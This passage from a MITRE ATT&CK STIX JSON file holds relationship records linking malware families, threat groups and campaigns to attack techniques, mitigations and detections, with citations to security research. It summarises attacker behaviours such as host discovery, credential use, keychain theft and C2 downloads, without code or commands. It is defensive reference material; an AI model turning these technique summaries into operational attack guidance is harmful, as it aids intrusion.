","relationship_type":"uses","source_ref":"malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e11c6406-2144-4116-a29c-852df46b5ff6","type":"relationship","created":"2021-01-05T15:12:17.013Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Pay2Key November 2020","url":"https://research.checkpoint.com/2020/ransomware-alert-pay2key/","description":"Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."}],"modified":"2021-01-05T15:12:17.013Z","description":"[Pay2Key](https://attack.mitre.org/software/S0556) can identify the IP and MAC addresses of the compromised host.(Citation: Check Point Pay2Key November 2020)","relationship_type":"uses","source_ref":"malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e11d4f32-842a-4684-8974-f368e52b8632","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.","source_name":"ESET Sednit Part 1"},{"url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/","description":"Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.","source_name":"Unit 42 Sofacy Feb 2018"}],"modified":"2020-03-20T16:40:41.188Z","description":"[JHUHUGIT](https://attack.mitre.org/software/S0044) obtains a build identifier as well as victim hard drive information from Windows registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum. Another [JHUHUGIT](https://attack.mitre.org/software/S0044) variant gathers the victim storage volume serial number and the storage device name.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e12155de-d422-47e4-9ce5-a7fe8011b74b","created":"2023-01-11T21:34:54.620Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes AvosLocker Jul 2021","description":"Hasherezade. (2021, July 23). AvosLocker enters the ransomware scene, asks for partners. Retrieved January 11, 2023.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T22:47:36.745Z","description":"[AvosLocker](https://attack.mitre.org/software/S1053) has used XOR-encoded strings.(Citation: Malwarebytes AvosLocker Jul 2021)","relationship_type":"uses","source_ref":"malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e122b9fa-d722-4ee8-a5d7-0e585277676d","type":"relationship","created":"2020-11-24T21:19:49.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity Ocean Lotus November 2020","url":"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/","description":"Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."}],"modified":"2020-11-24T21:19:49.189Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has set up Facebook pages in tandem with fake websites.(Citation: Volexity Ocean Lotus November 2020)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e122c13d-078d-4404-b2a0-e0e2341dbd2e","type":"relationship","created":"2021-04-12T19:26:30.386Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike MUSTANG PANDA June 2018","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/","description":"Meyers, A. (2018, June 15). Meet CrowdStrike’s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021."},{"source_name":"Anomali MUSTANG PANDA October 2019","url":"https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations","description":"Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."},{"source_name":"Avira Mustang Panda January 2020","url":"https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong","description":"Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."},{"source_name":"Recorded Future REDDELTA July 2020","url":"https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf","description":"Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP ‘REDDELTA’ TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."},{"source_name":"Google TAG Ukraine Threat Landscape March 2022","url":"https://blog.google/threat-analysis-group/update-threat-landscape-ukraine","description":"Huntley, S. (2022, March 7). An update on the threat landscape. Retrieved March 16, 2022."},{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"modified":"2022-03-16T19:39:13.773Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has sent malicious files requiring direct victim interaction to execute.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Avira Mustang Panda January 2020)(Citation: Recorded Future REDDELTA July 2020)(Citation: Google TAG Ukraine Threat Landscape March 2022)(Citation: Proofpoint TA416 Europe March 2022)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1268feb-9326-40e1-b05b-fd8e0068488a","type":"relationship","created":"2019-07-19T16:49:44.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","source_name":"Cybereason Soft Cell June 2019"},{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-13T21:20:48.844Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) dropped additional tools to victims during their operation, including portqry.exe, a renamed cmd.exe file, winrar, and [HTRAN](https://attack.mitre.org/software/S0040).(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1269d18-6cc9-45cc-9c99-06f765bea366","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:28.680Z","description":"[Elderwood](https://attack.mitre.org/groups/G0066) has used exploitation of endpoint software, including Microsoft Internet Explorer Adobe Flash vulnerabilities, to gain execution. They have also used zero-day exploits.(Citation: Symantec Elderwood Sept 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e128847e-b3ae-420a-b46f-cb9db88f2cf4","type":"relationship","created":"2020-03-13T21:14:58.418Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T21:14:58.418Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","target_ref":"attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e128b6ef-a7a5-4e36-a215-d5a07063c22b","created":"2022-08-07T15:35:16.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022.","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T22:14:56.918Z","description":"[AuTo Stealer](https://attack.mitre.org/software/S1029) has the ability to collect information about installed AV products from an infected host.(Citation: MalwareBytes SideCopy Dec 2021)","relationship_type":"uses","source_ref":"malware--3e4e2c79-2b27-4245-a5c1-5586a3cbd8f5","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e129d95a-e98e-4bf8-b065-57651dc3335d","type":"relationship","created":"2020-05-15T16:50:05.817Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Infoblox Lokibot January 2019","url":"https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22","description":"Hoang, M. (2019, January 31). Malicious Activity Report: Elements of Lokibot Infostealer. Retrieved May 15, 2020."},{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-08-31T22:15:50.801Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has used HTTP for C2 communications.(Citation: Infoblox Lokibot January 2019)(Citation: Talos Lokibot Jan 2021) ","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e12a3e0d-4ed1-467b-a2f1-ead1e58b8cae","type":"relationship","created":"2020-06-26T04:01:09.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-26T04:01:09.897Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e12c4451-5d26-4eea-a7e9-fcdfd517e77d","created":"2022-06-09T18:38:37.158Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[OutSteel](https://attack.mitre.org/software/S1017) can download files from its C2 server.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T18:38:37.158Z","relationship_type":"uses","source_ref":"malware--c113230f-f044-423b-af63-9b63c802f5ae","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e132dd40-7779-44dc-9e4a-74514381407c","created":"2022-09-27T16:28:09.428Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:28:09.428Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used stolen credentials to connect to the victim's network via VPN.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e132f8f8-c15d-4423-8794-8571d37a3998","created":"2022-06-09T14:40:57.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET DazzleSpy Jan 2022","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/"},{"source_name":"Objective-See MacMa Nov 2021","description":"Wardle, P. (2021, November 11). OSX.CDDS (OSX.MacMa). Retrieved June 30, 2022.","url":"https://objective-see.org/blog/blog_0x69.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T20:31:46.371Z","description":"[MacMa](https://attack.mitre.org/software/S1016) has downloaded additional files, including an exploit for used privilege escalation.(Citation: ESET DazzleSpy Jan 2022)(Citation: Objective-See MacMa Nov 2021)","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e134a00e-8d72-4c3d-a5b1-3f9c6e1bd330","type":"relationship","created":"2020-10-01T00:50:30.025Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T00:50:30.025Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e13ab711-012c-4405-87ae-f096d770e367","created":"2022-07-18T18:32:37.796Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro EarthLusca 2022","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) used the command ipconfig to obtain information about network configurations.(Citation: TrendMicro EarthLusca 2022)","modified":"2022-07-18T18:32:37.796Z","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e13ba463-59c5-4e50-9aeb-420ab5e677db","type":"relationship","created":"2021-12-07T14:58:11.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-07T14:58:11.510Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) used the command query user on victim hosts.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e13f1e41-fc5c-4cd3-ad6b-62bc597c959a","type":"relationship","created":"2019-06-13T16:53:10.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/","description":"Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.","source_name":"Technospot Chrome Extensions GP"}],"modified":"2021-04-27T19:56:54.623Z","description":"Set a browser extension allow or deny list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e14101d9-0b43-4416-a25b-cdb0f9f37ef9","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Systemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and /home//.config/systemd/user/ directories, as well as associated symbolic links","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e145eb03-1e0b-4062-ab24-20269e3e85d0","created":"2022-07-05T13:50:35.704Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[POLONIUM](https://attack.mitre.org/groups/G1005) has used valid compromised credentials to gain access to victim environments.(Citation: Microsoft POLONIUM June 2022)","modified":"2022-08-09T15:02:56.804Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--5f3d0238-d058-44a9-8812-3dd1b6741a8c","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e14893ce-24b2-41b0-9597-7775e2f71dc5","created":"2024-08-22T20:59:11.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-22T21:02:06.859Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) can capture files from a targeted user's keychain directory.(Citation: Kandji Cuckoo April 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1492807-b520-412b-9df7-105aefc29deb","type":"relationship","created":"2019-04-17T13:23:24.156Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT33 Guardrail","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."}],"modified":"2020-03-20T18:03:11.276Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used base64 to encode command and control traffic.(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1522574-0851-490e-8e52-0802cadfd791","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor and analyze network flows associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). Consider analyzing newly constructed network connections that are sent or received by untrusted hosts, unexpcted hardware devices, or other uncommon data flows.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e159049f-70c1-4349-b299-c1d99d06901d","created":"2020-04-28T12:47:25.933Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos PoetRAT April 2020","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020.","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:11:01.935Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has used a custom encryption scheme for communication between scripts.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1592867-e02f-4c1f-a9f2-1c60e25a1301","type":"relationship","created":"2017-05-31T21:33:27.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Stealth Falcon May 2016","description":"Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.","url":"https://citizenlab.org/2016/05/stealth-falcon/"}],"modified":"2020-03-17T02:38:48.493Z","description":"After data is collected by [Stealth Falcon](https://attack.mitre.org/groups/G0038) malware, it is exfiltrated over the existing C2 channel.(Citation: Citizen Lab Stealth Falcon May 2016)","relationship_type":"uses","source_ref":"intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e15a0598-662d-4b09-90fc-5f6d3ebdffd3","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Monitor for newly constructed services may create or modify Launch Daemons to execute malicious payloads as part of 